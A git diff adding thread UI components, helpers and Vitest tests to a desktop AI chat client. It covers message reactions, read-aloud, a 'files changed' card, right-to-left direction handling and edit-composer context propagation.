+          'relative flex flex-row items-center justify-end gap-1.5 py-1.5 opacity-0 pointer-events-none group-hover:pointer-events-auto group-hover:opacity-100 focus-within:pointer-events-auto focus-within:opacity-100'
+        }
+        data-slot="aui_msg-actions"
+      >
+        <MessageAge />
+        {onBranchInNewChat && (
+          <TooltipIconButton
+            onClick={() => {
+              triggerHaptic('selection')
+              onBranchInNewChat(messageId)
+            }}
+            tooltip={copy.branchNewChat}
+          >
+            <GitForkIcon className="size-3.5" />
+          </TooltipIconButton>
+        )}
+        <CopyButton appearance="icon" buttonSize="icon" label={copy.copy} text={getMessageText} />
+        <ReadAloudButton getText={getMessageText} messageId={messageId} />
+        <ActionBarPrimitive.Reload asChild>
+          <TooltipIconButton onClick={() => triggerHaptic('submit')} tooltip={copy.refresh}>
+            <RefreshCwIcon className="size-3.5" />
+          </TooltipIconButton>
+        </ActionBarPrimitive.Reload>
+      </ActionBarPrimitive.Root>
+      {/* ONE slot, Slack-style: the picker trigger and the landed reaction are
+          the same element, so reacting never shifts layout. Empty → ☺, hidden
+          until hover like its action-bar neighbors (state lives in styles.css
+          — the aui_msg-reactions rules outweigh Tailwind utilities here).
+          Reacted → the emoji itself, always visible at full strength, and
+          clicking it reopens the picker to switch or retract. Outside
+          ActionBarPrimitive.Root so a landed reaction doesn't ride the bar's
+          hover opacity. */}
+      {(reactionsEnabled || shownReactions.length > 0) && (
+        <ReactionPicker
+          onOpenChange={setPickerOpen}
+          onSelect={pickEmoji}
+          open={pickerOpen}
+          selected={shownReactions.find(reaction => reaction.author === 'user')?.emoji}
+        >
+          <TooltipIconButton
+            data-reacted={shownReactions.length > 0 || undefined}
+            data-slot="aui_msg-reactions"
+            data-state={pickerOpen ? 'open' : undefined}
+            onClick={reactionsEnabled ? () => setPickerOpen(open => !open) : undefined}
+            tooltip={copy.react}
+          >
+            {shownReactions.length > 0 ? (
+              <span className="flex items-center gap-0.5 text-[0.8125rem] leading-none">
+                {shownReactions.map(reaction => (
+                  <span className="reaction-pop" key={`${reaction.author}-${reaction.emoji}`}>
+                    {reaction.emoji}
+                  </span>
+                ))}
+              </span>
+            ) : (
+              <SmilePlusIcon className="size-3.5" />
+            )}
+          </TooltipIconButton>
+        </ReactionPicker>
+      )}
+    </div>
+  )
+}
+
+const ReadAloudButton: FC<{ getText: () => string; messageId: string }> = ({ getText, messageId }) => {
+  const { t } = useI18n()
+  const copy = t.assistant.thread
+  const voicePlayback = useStore($voicePlayback)
+
+  const readAloudStatus =
+    voicePlayback.source === 'read-aloud' && voicePlayback.messageId === messageId ? voicePlayback.status : 'idle'
+
+  const isPreparing = readAloudStatus === 'preparing'
+  const isSpeaking = readAloudStatus === 'speaking'
+  const anyPlaybackActive = voicePlayback.status !== 'idle'
+  const Icon = isPreparing ? Loader2Icon : isSpeaking ? VolumeXIcon : AudioLines
+  const tooltip = isPreparing ? copy.preparingAudio : isSpeaking ? copy.stopReading : copy.readAloud
+
+  const read = useCallback(async () => {
+    const text = getText()
+
+    if (!text || $voicePlayback.get().status !== 'idle') {
+      return
+    }
+
+    try {
+      await playSpeechText(text, { messageId, source: 'read-aloud' })
+    } catch (error) {
+      notifyError(error, copy.readAloudFailed)
+    }
+  }, [copy.readAloudFailed, getText, messageId])
+
+  return (
+    <TooltipIconButton
+      disabled={isPreparing || (!isSpeaking && anyPlaybackActive)}
+      onClick={() => {
+        triggerHaptic('selection')
+        void (isSpeaking ? stopVoicePlayback() : read())
+      }}
+      tooltip={tooltip}
+    >
+      <Icon className={cn('size-3.5', isPreparing && 'animate-spin')} />
+    </TooltipIconButton>
+  )
+}
+
+const MessageAge: FC = () => {
+  const { t } = useI18n()
+  const createdAt = useAuiState(s => s.message.createdAt)
+  const date = createdAt ? new Date(createdAt) : null
+
+  if (!date || Number.isNaN(date.getTime())) {
+    return null
+  }
+
+  // Compact "2h ago" (shared util) with the absolute time on hover.
+  return (
+    <span
+      className="px-0.5 text-[0.6875rem] tabular-nums text-muted-foreground"
+      title={formatMessageTimestamp(date, t.assistant.thread) || undefined}
+    >
+      {formatAgo(date.getTime(), t.agents)}
+    </span>
+  )
+}
+
+const AssistantFooter: FC<MessageActionProps> = props => (
+  <div className="flex min-h-6 flex-col items-end gap-1 pr-(--message-text-indent) pl-(--message-text-indent)">
+    <BranchPickerPrimitive.Root
+      className="inline-flex h-6 items-center gap-1 text-xs text-muted-foreground"
+      hideWhenSingleBranch
+    >
+      <BranchPickerPrimitive.Previous className="grid size-6 place-items-center rounded-md text-muted-foreground transition-colors hover:bg-accent hover:text-foreground disabled:cursor-default disabled:opacity-35">
+        <Codicon name="chevron-left" size="0.875rem" />
+      </BranchPickerPrimitive.Previous>
+      <span className="tabular-nums">
+        <BranchPickerPrimitive.Number /> / <BranchPickerPrimitive.Count />
+      </span>
+      <BranchPickerPrimitive.Next className="grid size-6 place-items-center rounded-md text-muted-foreground transition-colors hover:bg-accent hover:text-foreground disabled:cursor-default disabled:opacity-35">
+        <Codicon name="chevron-right" size="0.875rem" />
+      </BranchPickerPrimitive.Next>
+    </BranchPickerPrimitive.Root>
+    <AssistantActionBar {...props} />
+  </div>
+)
diff --git a/ui-desktop/src/components/assistant-ui/thread/block-direction.test.tsx b/ui-desktop/src/components/assistant-ui/thread/block-direction.test.tsx
new file mode 100644
index 000000000..227f9e63b
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/block-direction.test.tsx
@@ -0,0 +1,130 @@
+// Lists and blockquotes have chrome beside the text (markers, the quote
+// border) whose side is driven by the box's CSS direction, which the
+// unicode-bidi:plaintext rules never touch. These tests pin the split of
+// responsibilities: ul/ol/blockquote carry dir="auto" so the browser
+// resolves their box direction from content, inline code carries dir="ltr"
+// so it neither votes in that resolution nor reorders, and plain prose
+// blocks stay attribute-free (the plaintext CSS owns them). jsdom does not
+// resolve dir="auto", so the contract is asserted at the attribute level.
+import { AssistantRuntimeProvider, type ThreadMessage, useExternalStoreRuntime } from '@assistant-ui/react'
+import { render, screen } from '@testing-library/react'
+import { describe, expect, it, vi } from 'vitest'
+
+import { Thread } from '.'
+
+const createdAt = new Date('2026-06-01T00:00:00.000Z')
+
+class TestResizeObserver {
+  observe() {}
+  unobserve() {}
+  disconnect() {}
+}
+
+vi.stubGlobal('ResizeObserver', TestResizeObserver)
+vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) =>
+  window.setTimeout(() => callback(performance.now()), 0)
+)
+vi.stubGlobal('cancelAnimationFrame', (id: number) => window.clearTimeout(id))
+vi.stubGlobal('CSS', { escape: (str: string) => str })
+
+Element.prototype.scrollTo = function scrollTo() {}
+
+function stubOffsetDimension(
+  prop: 'offsetHeight' | 'offsetWidth',
+  clientProp: 'clientHeight' | 'clientWidth',
+  fallback: number
+) {
+  const previous = Object.getOwnPropertyDescriptor(HTMLElement.prototype, prop)
+
+  Object.defineProperty(HTMLElement.prototype, prop, {
+    configurable: true,
+    get() {
+      return previous?.get?.call(this) || (this as HTMLElement)[clientProp] || fallback
+    }
+  })
+}
+
+stubOffsetDimension('offsetWidth', 'clientWidth', 800)
+stubOffsetDimension('offsetHeight', 'clientHeight', 600)
+
+function userMessage(): ThreadMessage {
+  return {
+    id: 'user-1',
+    role: 'user',
+    content: [{ type: 'text', text: 'hi' }],
+    attachments: [],
+    createdAt,
+    metadata: { custom: {} }
+  } as ThreadMessage
+}
+
+function assistantMessage(text: string): ThreadMessage {
+  return {
+    id: 'assistant-1',
+    role: 'assistant',
+    content: [{ type: 'text', text }],
+    status: { type: 'complete', reason: 'stop' },
+    createdAt,
+    metadata: {
+      unstable_state: null,
+      unstable_annotations: [],
+      unstable_data: [],
+      steps: [],
+      custom: {}
+    }
+  } as ThreadMessage
+}
+
+function Harness({ text }: { text: string }) {
+  const runtime = useExternalStoreRuntime<ThreadMessage>({
+    messages: [userMessage(), assistantMessage(text)],
+    isRunning: false,
+    onNew: async () => {}
+  })
+
+  return (
+    <AssistantRuntimeProvider runtime={runtime}>
+      <Thread />
+    </AssistantRuntimeProvider>
+  )
+}
+
+describe('block-level direction chrome', () => {
+  it('lists carry dir="auto" so markers follow the resolved direction', async () => {
+    render(<Harness text={'מקומות:\n\n1. חוף גורדון\n2. שוק הכרמל\n\n- פריט\n- item'} />)
+
+    const item = await screen.findByText(/חוף גורדון/)
+
+    expect(item.closest('ol')?.getAttribute('dir')).toBe('auto')
+
+    const bullet = await screen.findByText(/פריט/)
+
+    expect(bullet.closest('ul')?.getAttribute('dir')).toBe('auto')
+  })
+
+  it('blockquotes carry dir="auto" so the border follows the resolved direction', async () => {
+    render(<Harness text={'> ציטוט קצר בעברית'} />)
+
+    const quote = await screen.findByText(/ציטוט קצר/)
+
+    expect(quote.closest('blockquote')?.getAttribute('dir')).toBe('auto')
+  })
+
+  it('inline code carries dir="ltr" so it does not vote in dir="auto" resolution', async () => {
+    render(<Harness text={'1. `npm install` מתקין תלויות'} />)
+
+    const code = await screen.findByText('npm install')
+
+    expect(code.tagName).toBe('CODE')
+    expect(code.getAttribute('dir')).toBe('ltr')
+    expect(code.closest('ol')?.getAttribute('dir')).toBe('auto')
+  })
+
+  it('plain prose blocks stay attribute-free (plaintext CSS owns them)', async () => {
+    render(<Harness text={'שלום לכולם'} />)
+
+    const paragraph = await screen.findByText(/שלום לכולם/)
+
+    expect(paragraph.closest('p')?.hasAttribute('dir')).toBe(false)
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/thread/changed-files-card.tsx b/ui-desktop/src/components/assistant-ui/thread/changed-files-card.tsx
new file mode 100644
index 000000000..021036440
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/changed-files-card.tsx
@@ -0,0 +1,73 @@
+import { useStore } from '@nanostores/react'
+import { type FC, useMemo } from 'react'
+
+import { useSessionView } from '@/app/chat/session-view'
+import { deriveChangedFiles } from '@/components/assistant-ui/thread/changed-files'
+import { WIDGET_SHELL_CLASS } from '@/components/chat/widget-shell'
+import { DiffCount } from '@/components/ui/diff-count'
+import { FadeScroll } from '@/components/ui/fade-scroll'
+import { FileTypeIcon } from '@/components/ui/file-type-icon'
+import { useI18n } from '@/i18n'
+import { displayPath } from '@/lib/display-path'
+import { cn } from '@/lib/utils'
+import { openReviewForPath, revealReview } from '@/store/review'
+
+// ~5 rows. A turn that rewrites twenty files should still read as one card in
+// the transcript, not a wall the user has to scroll past to reach the composer.
+const MAX_ROWS_HEIGHT = '9.375rem'
+
+/**
+ * Cursor-style "N files changed" summary closing out the newest assistant turn:
+ * one row per file it edited with that file's +/-, and a Review action opening
+ * the diff pane (⌘G). A row click opens that file's diff directly.
+ *
+ * Wears the shared `WIDGET_SHELL_CLASS` so it reads as the same panel as the
+ * transcript's other inline widgets rather than inventing its own chrome.
+ */
+export const ChangedFilesCard: FC<{ parts: readonly unknown[] }> = ({ parts }) => {
+  const { t } = useI18n()
+  const copy = t.assistant.thread
+  const files = useMemo(() => deriveChangedFiles(parts), [parts])
+  // Review THIS surface's repo: a tile transcript pins the pane to the tile's
+  // worktree; the primary passes null (follow the active session, as before).
+  const view = useSessionView()
+  const viewCwd = useStore(view.$cwd)
+  const scopeCwd = view.kind === 'primary' ? null : viewCwd || null
+
+  if (files.length === 0) {
+    return null
+  }
+
+  return (
+    <div
+      className={cn(WIDGET_SHELL_CLASS, 'mt-1.5 text-[length:var(--conversation-tool-font-size)]')}
+      data-slot="aui_changed-files"
+    >
+      <div className="flex items-center gap-2">
+        <span className="min-w-0 flex-1 truncate text-(--ui-text-primary)">{copy.filesChanged(files.length)}</span>
+        <button
+          className="shrink-0 cursor-pointer text-(--ui-text-tertiary) transition-colors hover:text-(--ui-text-primary)"
+          onClick={() => revealReview(scopeCwd)}
+          type="button"
+        >
+          {copy.reviewChanges}
+        </button>
+      </div>
+      <FadeScroll className="-mx-1.5 mt-1.5 flex flex-col px-1.5" maxHeight={MAX_ROWS_HEIGHT}>
+        {files.map(file => (
+          <button
+            className="row-hover flex shrink-0 items-center gap-2 rounded-md px-1.5 py-1 text-left"
+            key={file.path}
+            onClick={() => void openReviewForPath(file.path, scopeCwd)}
+            title={displayPath(file.path)}
+            type="button"
+          >
+            <FileTypeIcon className="shrink-0 text-(--ui-text-tertiary)" path={file.path} size="0.875rem" />
+            <span className="min-w-0 flex-1 truncate text-(--ui-text-secondary)">{file.name}</span>
+            <DiffCount added={file.added} removed={file.removed} />
+          </button>
+        ))}
+      </FadeScroll>
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/assistant-ui/thread/changed-files.ts b/ui-desktop/src/components/assistant-ui/thread/changed-files.ts
new file mode 100644
index 000000000..1c7146be0
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/changed-files.ts
@@ -0,0 +1,69 @@
+// Pure derivation for the assistant message's "N files changed" card: fold a
+// turn's file-edit tool parts into one row per file. No React/DOM.
+
+import {
+  countDiffLineStats,
+  fileEditBasename,
+  fileEditPath,
+  inlineDiffFromResult,
+  isFileEditTool,
+  parseMaybeObject
+} from '@/components/assistant-ui/tool/fallback-model'
+
+export interface ChangedFile {
+  added: number
+  /** Basename, for the row label. */
+  name: string
+  /** Path exactly as the tool reported it (absolute or repo-relative). */
+  path: string
+  removed: number
+}
+
+interface ChangedFilePart {
+  args?: unknown
+  result?: unknown
+  toolName?: unknown
+  type?: unknown
+}
+
+/**
+ * One row per file the turn edited, in first-touched order, with the +/- of
+ * every edit to that file summed. Only landed edits with a diff count: a call
+ * still running has no result, and a failed one changed nothing.
+ */
+export function deriveChangedFiles(parts: readonly unknown[]): ChangedFile[] {
+  const byPath = new Map<string, ChangedFile>()
+
+  for (const raw of parts) {
+    const part = (raw ?? {}) as ChangedFilePart
+
+    if (part.type !== 'tool-call' || typeof part.toolName !== 'string' || !isFileEditTool(part.toolName)) {
+      continue
+    }
+
+    const result = parseMaybeObject(part.result)
+    const diff = inlineDiffFromResult(result)
+
+    if (!diff) {
+      continue
+    }
+
+    const path = fileEditPath(parseMaybeObject(part.args), result)
+
+    if (!path) {
+      continue
+    }
+
+    const stats = countDiffLineStats(diff)
+    const existing = byPath.get(path)
+
+    if (existing) {
+      existing.added += stats.added
+      existing.removed += stats.removed
+    } else {
+      byPath.set(path, { added: stats.added, name: fileEditBasename(path), path, removed: stats.removed })
+    }
+  }
+
+  return [...byPath.values()]
+}
diff --git a/ui-desktop/src/components/assistant-ui/thread/content.test.ts b/ui-desktop/src/components/assistant-ui/thread/content.test.ts
new file mode 100644
index 000000000..060ecb3ea
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/content.test.ts
@@ -0,0 +1,86 @@
+import { describe, expect, it } from 'vitest'
+
+import {
+  contentHasVisibleText,
+  messageAttachmentRefs,
+  messageContentText,
+  partText,
+  pickPrimaryPreviewTarget
+} from './content'
+
+describe('partText', () => {
+  it('returns plain strings as-is', () => {
+    expect(partText('hello')).toBe('hello')
+  })
+
+  it('reads text from untyped and text parts', () => {
+    expect(partText({ text: 'a' })).toBe('a')
+    expect(partText({ type: 'text', text: 'b' })).toBe('b')
+  })
+
+  it('ignores non-text parts and malformed input', () => {
+    expect(partText({ type: 'tool', text: 'x' })).toBe('')
+    expect(partText({ text: 42 })).toBe('')
+    expect(partText(null)).toBe('')
+    expect(partText(undefined)).toBe('')
+  })
+})
+
+describe('messageContentText', () => {
+  it('trims string content', () => {
+    expect(messageContentText('  hi  ')).toBe('hi')
+  })
+
+  it('concatenates array text parts and trims', () => {
+    expect(messageContentText([{ text: ' a' }, { type: 'text', text: 'b ' }])).toBe('ab')
+  })
+
+  it('returns empty string for non-string, non-array content', () => {
+    expect(messageContentText(null)).toBe('')
+    expect(messageContentText({ text: 'x' })).toBe('')
+  })
+})
+
+describe('contentHasVisibleText', () => {
+  it('detects visible text in strings and arrays', () => {
+    expect(contentHasVisibleText('hi')).toBe(true)
+    expect(contentHasVisibleText([{ text: '   ' }, { text: 'x' }])).toBe(true)
+  })
+
+  it('is false when there is no visible text', () => {
+    expect(contentHasVisibleText('   ')).toBe(false)
+    expect(contentHasVisibleText([{ text: '  ' }, { type: 'tool', text: 'y' }])).toBe(false)
+    expect(contentHasVisibleText(null)).toBe(false)
+  })
+})
+
+describe('messageAttachmentRefs', () => {
+  it('returns string arrays untouched', () => {
+    const value = ['@file:a', '@file:b']
+    expect(messageAttachmentRefs(value)).toBe(value)
+  })
+
+  it('returns a stable empty array for invalid input', () => {
+    const a = messageAttachmentRefs(null)
+    const b = messageAttachmentRefs([1, 2])
+    expect(a).toEqual([])
+    expect(a).toBe(b)
+  })
+})
+
+describe('pickPrimaryPreviewTarget', () => {
+  it('returns the input when one or zero targets', () => {
+    expect(pickPrimaryPreviewTarget([])).toEqual([])
+    expect(pickPrimaryPreviewTarget(['https://x.dev'])).toEqual(['https://x.dev'])
+  })
+
+  it('prefers a localhost URL when present', () => {
+    expect(pickPrimaryPreviewTarget(['https://example.com', 'http://localhost:3000'])).toEqual([
+      'http://localhost:3000'
+    ])
+  })
+
+  it('falls back to the last target when no localhost URL', () => {
+    expect(pickPrimaryPreviewTarget(['https://a.dev', 'https://b.dev'])).toEqual(['https://b.dev'])
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/thread/content.ts b/ui-desktop/src/components/assistant-ui/thread/content.ts
new file mode 100644
index 000000000..7f7d9bedd
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/content.ts
@@ -0,0 +1,63 @@
+const EMPTY_ATTACHMENT_REFS: string[] = []
+
+export function partText(part: unknown): string {
+  if (typeof part === 'string') {
+    return part
+  }
+
+  if (!part || typeof part !== 'object') {
+    return ''
+  }
+
+  const row = part as { text?: unknown; type?: unknown }
+
+  return (!row.type || row.type === 'text') && typeof row.text === 'string' ? row.text : ''
+}
+
+export function messageContentText(content: unknown): string {
+  if (typeof content === 'string') {
+    return content.trim()
+  }
+
+  return Array.isArray(content) ? content.map(partText).join('').trim() : ''
+}
+
+// Cheap streaming-stable "does this message have visible text" check: returns
+// on the first non-whitespace text part without concatenating the whole
+// message. Used as a useAuiState selector so its boolean output stays stable
+// across token flushes (flips false→true once per turn).
+export function contentHasVisibleText(content: unknown): boolean {
+  if (typeof content === 'string') {
+    return content.trim().length > 0
+  }
+
+  if (!Array.isArray(content)) {
+    return false
+  }
+
+  for (const part of content) {
+    if (partText(part).trim().length > 0) {
+      return true
+    }
+  }
+
+  return false
+}
+
+export function messageAttachmentRefs(value: unknown): string[] {
+  if (!Array.isArray(value)) {
+    return EMPTY_ATTACHMENT_REFS
+  }
+
+  return value.every(ref => typeof ref === 'string') ? value : EMPTY_ATTACHMENT_REFS
+}
+
+export function pickPrimaryPreviewTarget(targets: string[]): string[] {
+  if (targets.length <= 1) {
+    return targets
+  }
+
+  const localUrl = targets.find(value => /^https?:\/\/(?:localhost|127\.0\.0\.1|0\.0\.0\.0|\[::1\])/i.test(value))
+
+  return [localUrl || targets[targets.length - 1]]
+}
diff --git a/ui-desktop/src/components/assistant-ui/thread/double-click-reaction.test.tsx b/ui-desktop/src/components/assistant-ui/thread/double-click-reaction.test.tsx
new file mode 100644
index 000000000..20ee08f1c
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/double-click-reaction.test.tsx
@@ -0,0 +1,118 @@
+// Double-click an assistant reply to heart it (the iMessage gesture), gated on
+// the same opt-in toggle as the rest of message reactions.
+import { AssistantRuntimeProvider, type ThreadMessage, useExternalStoreRuntime } from '@assistant-ui/react'
+import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type * as ReactionsStore from '@/store/reactions'
+import { $reactionsEnabled } from '@/store/reactions-enabled'
+import { $localReactions } from '@/store/reactions-local'
+
+import { isTapbackDoubleClick } from './use-message-reactions'
+
+import { Thread } from '.'
+
+const createdAt = new Date('2026-05-01T00:00:00.000Z')
+
+class TestResizeObserver {
+  observe() {}
+  unobserve() {}
+  disconnect() {}
+}
+vi.stubGlobal('ResizeObserver', TestResizeObserver)
+vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) =>
+  window.setTimeout(() => callback(performance.now()), 0)
+)
+vi.stubGlobal('cancelAnimationFrame', (id: number) => window.clearTimeout(id))
+vi.stubGlobal('CSS', { escape: (str: string) => str })
+
+Element.prototype.scrollTo = function scrollTo() {}
+
+// The gesture persists through the gateway; this suite is about the local
+// paint, which is what the user actually sees on the click.
+vi.mock('@/store/reactions', async importOriginal => ({
+  ...(await importOriginal<typeof ReactionsStore>()),
+  toggleMessageReaction: vi.fn(async () => {})
+}))
+
+function assistantMessage(): ThreadMessage {
+  return {
+    id: 'assistant-1',
+    role: 'assistant',
+    content: [{ type: 'text', text: 'done' }],
+    status: { type: 'complete', reason: 'stop' },
+    createdAt,
+    metadata: { unstable_state: null, unstable_annotations: [], unstable_data: [], steps: [], custom: {} }
+  } as ThreadMessage
+}
+
+function Harness() {
+  const runtime = useExternalStoreRuntime<ThreadMessage>({
+    messages: [assistantMessage()],
+    isRunning: false,
+    onNew: async () => {}
+  })
+
+  return (
+    <AssistantRuntimeProvider runtime={runtime}>
+      <Thread />
+    </AssistantRuntimeProvider>
+  )
+}
+
+beforeEach(() => {
+  $localReactions.set({})
+  $reactionsEnabled.set(false)
+})
+
+afterEach(() => {
+  cleanup()
+})
+
+describe('isTapbackDoubleClick', () => {
+  it('claims a plain double-click on message body', () => {
+    expect(isTapbackDoubleClick({ detail: 2, target: document.createElement('span') })).toBe(true)
+  })
+
+  it('ignores a triple-click, so selecting a paragraph does not re-toggle', () => {
+    expect(isTapbackDoubleClick({ detail: 3, target: document.createElement('span') })).toBe(false)
+  })
+
+  it('leaves double-click alone where it already means something', () => {
+    const code = document.createElement('pre')
+    const inner = document.createElement('code')
+
+    code.append(inner)
+
+    expect(isTapbackDoubleClick({ detail: 2, target: inner })).toBe(false)
+    expect(isTapbackDoubleClick({ detail: 2, target: document.createElement('a') })).toBe(false)
+    expect(isTapbackDoubleClick({ detail: 2, target: document.createElement('button') })).toBe(false)
+  })
+})
+
+describe('double-click to heart an assistant message', () => {
+  it('hearts the message, and a second double-click retracts it', async () => {
+    $reactionsEnabled.set(true)
+    render(<Harness />)
+
+    const message = (await screen.findByText('done')).closest('[data-slot="aui_assistant-message-root"]')
+
+    expect(message).toBeTruthy()
+
+    fireEvent.doubleClick(message!, { detail: 2 })
+    await waitFor(() => expect($localReactions.get()['assistant-1']?.[0]?.emoji).toBe('❤️'))
+
+    fireEvent.doubleClick(message!, { detail: 2 })
+    await waitFor(() => expect($localReactions.get()['assistant-1']).toEqual([]))
+  })
+
+  it('does nothing while reactions are off', async () => {
+    render(<Harness />)
+
+    const message = (await screen.findByText('done')).closest('[data-slot="aui_assistant-message-root"]')
+
+    fireEvent.doubleClick(message!, { detail: 2 })
+
+    expect($localReactions.get()['assistant-1']).toBeUndefined()
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/thread/edit-context.test.tsx b/ui-desktop/src/components/assistant-ui/thread/edit-context.test.tsx
new file mode 100644
index 000000000..f9c4f7129
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/edit-context.test.tsx
@@ -0,0 +1,191 @@
+// Thread deliberately keeps cwd/gateway/sessionId OUT of the messageComponents
+// memo deps: those values change on every session switch, and reminting the
+// component types mid-switch remounts the whole outgoing transcript. The
+// mounted edit composer still has to see a same-session change (e.g. a cwd
+// remap). It used to read the values from a render-time ref, but a mounted
+// composer never re-reads the ref when the change leaves every
+// ThreadMessageList prop referentially equal (Thread and ThreadMessageList
+// are both memo'd, so the wrapper never re-renders). The values now travel
+// through ThreadEditContext, whose propagation reaches the mounted consumer
+// through the memo bail-out. These tests pin both directions: the composer
+// sees the change, and the transcript still does not remount.
+import { ExportedMessageRepository } from '@assistant-ui/react'
+import { AssistantRuntimeProvider, type ThreadMessage } from '@assistant-ui/react'
+import { act, cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { useState } from 'react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { useIncrementalExternalStoreRuntime } from '@/lib/incremental-external-store-runtime'
+
+import { Thread } from '.'
+
+interface MockComposerProps {
+  cwd: string | null
+  gateway: unknown
+  sessionId: string | null
+}
+
+const composerRenders = vi.hoisted(() => [] as MockComposerProps[])
+
+vi.mock('./user-edit-composer', () => ({
+  UserEditComposer: (props: MockComposerProps) => {
+    composerRenders.push(props)
+
+    return <div data-testid="edit-composer">{props.cwd}</div>
+  }
+}))
+
+const createdAt = new Date('2026-05-01T00:00:00.000Z')
+
+class TestResizeObserver {
+  observe() {}
+  unobserve() {}
+  disconnect() {}
+}
+
+vi.stubGlobal('ResizeObserver', TestResizeObserver)
+vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) =>
+  window.setTimeout(() => callback(performance.now()), 0)
+)
+vi.stubGlobal('cancelAnimationFrame', (id: number) => window.clearTimeout(id))
+vi.stubGlobal('CSS', { escape: (str: string) => str })
+
+Element.prototype.scrollTo = function scrollTo() {}
+
+afterEach(() => {
+  cleanup()
+})
+
+beforeEach(() => {
+  composerRenders.length = 0
+})
+
+// jsdom returns 0 for offset*; the virtualizer reads those to size its
+// viewport. Fall through to client* or a sane default so virtualized
+// items render (same stub as user-message-edit.test.tsx).
+function stubOffsetDimension(
+  prop: 'offsetHeight' | 'offsetWidth',
+  clientProp: 'clientHeight' | 'clientWidth',
+  fallback: number
+) {
+  const previous = Object.getOwnPropertyDescriptor(HTMLElement.prototype, prop)
+
+  Object.defineProperty(HTMLElement.prototype, prop, {
+    configurable: true,
+    get() {
+      return previous?.get?.call(this) || (this as HTMLElement)[clientProp] || fallback
+    }
+  })
+}
+
+stubOffsetDimension('offsetWidth', 'clientWidth', 800)
+stubOffsetDimension('offsetHeight', 'clientHeight', 600)
+
+function userMessage(): ThreadMessage {
+  return {
+    id: 'user-1',
+    role: 'user',
+    content: [{ type: 'text', text: 'edit me please' }],
+    attachments: [],
+    createdAt,
+    metadata: { custom: {} }
+  } as ThreadMessage
+}
+
+function assistantMessage(): ThreadMessage {
+  return {
+    id: 'assistant-1',
+    role: 'assistant',
+    content: [{ type: 'text', text: 'done' }],
+    status: { type: 'complete', reason: 'stop' },
+    createdAt,
+    metadata: {
+      unstable_state: null,
+      unstable_annotations: [],
+      unstable_data: [],
+      steps: [],
+      custom: {}
+    }
+  } as ThreadMessage
+}
+
+const noopAsync = async () => {}
+
+// The repository must stay referentially stable across rerenders: a new
+// object would make the incremental runtime resync the transcript and
+// unmount the open composer, defeating the test.
+function Harness({ cwd, sessionKey }: { cwd: string; sessionKey: string }) {
+  const [repository] = useState(() => ExportedMessageRepository.fromArray([userMessage(), assistantMessage()]))
+
+  const runtime = useIncrementalExternalStoreRuntime<ThreadMessage>({
+    messageRepository: repository,
+    isRunning: false,
+    setMessages: () => {},
+    onNew: noopAsync,
+    onEdit: noopAsync,
+    onCancel: noopAsync,
+    onReload: noopAsync
+  })
+
+  return (
+    <AssistantRuntimeProvider runtime={runtime}>
+      <Thread cwd={cwd} sessionKey={sessionKey} />
+    </AssistantRuntimeProvider>
+  )
+}
+
+describe('thread edit context', () => {
+  it('passes a same-session cwd change to the mounted edit composer', async () => {
+    const { rerender } = render(<Harness cwd="/old" sessionKey="k1" />)
+
+    fireEvent.click(await screen.findByRole('button', { name: 'Edit message' }))
+    await screen.findByTestId('edit-composer')
+
+    expect(composerRenders.at(-1)?.cwd).toBe('/old')
+
+    // Same session, same messages: every ThreadMessageList prop stays
+    // referentially equal, so only context propagation can reach the
+    // mounted composer.
+    await act(async () => {
+      rerender(<Harness cwd="/new" sessionKey="k1" />)
+    })
+
+    expect(composerRenders.at(-1)?.cwd).toBe('/new')
+    expect(screen.getByTestId('edit-composer').textContent).toBe('/new')
+  })
+
+  it('still passes the new cwd after a session switch', async () => {
+    const { rerender } = render(<Harness cwd="/old" sessionKey="k1" />)
+
+    await act(async () => {
+      rerender(<Harness cwd="/new" sessionKey="k2" />)
+    })
+
+    fireEvent.click(await screen.findByRole('button', { name: 'Edit message' }))
+    await screen.findByTestId('edit-composer')
+
+    expect(composerRenders.at(-1)?.cwd).toBe('/new')
+  })
+
+  it('does not remount the transcript when cwd changes', async () => {
+    // The perf invariant behind keeping cwd out of the memo deps: a cwd
+    // change with identical messages must not remint the component types,
+    // so the mounted message DOM nodes survive the rerender.
+    const { rerender } = render(<Harness cwd="/old" sessionKey="k1" />)
+
+    await waitFor(() => {
+      expect(screen.getByText('done')).toBeTruthy()
+      expect(screen.getByText('edit me please')).toBeTruthy()
+    })
+
+    const assistantBefore = screen.getByText('done')
+    const userBefore = screen.getByText('edit me please')
+
+    await act(async () => {
+      rerender(<Harness cwd="/new" sessionKey="k1" />)
+    })
+
+    expect(screen.getByText('done')).toBe(assistantBefore)
+    expect(screen.getByText('edit me please')).toBe(userBefore)
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/thread/index.tsx b/ui-desktop/src/components/assistant-ui/thread/index.tsx
new file mode 100644
index 000000000..7db50f4ea
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/index.tsx
@@ -0,0 +1,187 @@
+import { createContext, memo, useCallback, useContext, useMemo, useRef, useState } from 'react'
+
+import type { ClawCodexGateway } from '@/clawcodex'
+import { AssistantMessage } from '@/components/assistant-ui/thread/assistant-message'
+import { ThreadMessageList } from '@/components/assistant-ui/thread/list'
+import { BackgroundResumeNotice, CenteredThreadSpinner } from '@/components/assistant-ui/thread/status'
+import { SystemMessage } from '@/components/assistant-ui/thread/system-message'
+import { ThreadTimeline } from '@/components/assistant-ui/thread/timeline'
+import { type RestoreMessageTarget } from '@/components/assistant-ui/thread/types'
